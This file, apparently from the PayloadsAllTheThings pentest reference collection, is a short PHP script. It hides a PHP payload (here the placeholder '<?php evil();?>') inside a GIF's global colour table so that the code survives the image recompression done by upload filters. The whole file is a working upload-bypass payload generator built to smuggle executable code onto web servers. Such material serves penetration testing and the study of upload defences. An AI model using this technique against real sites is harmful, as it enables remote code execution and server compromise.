PayloadsAllTheThings/Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php
2022-08-21 16:38:54 +02:00

22 lines
552 B
PHP

<?php
// createGIFwithGlobalColorTable.php
$_file="example.gif";
$_payload="<?php evil();?>";
$_width=200;
$_height=200;
if(strlen($_payload)%3!=0){
echo "payload%3==0 !"; exit();
}
$im = imagecreate($_width, $_height);
$_hex=unpack('H*',$_payload);
$colors_hex=str_split($_hex[1], 6);
for($i=0; $i < count($colors_hex); $i++){
$_color_chunks=str_split($colors_hex[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagegif($im,$_file);
?>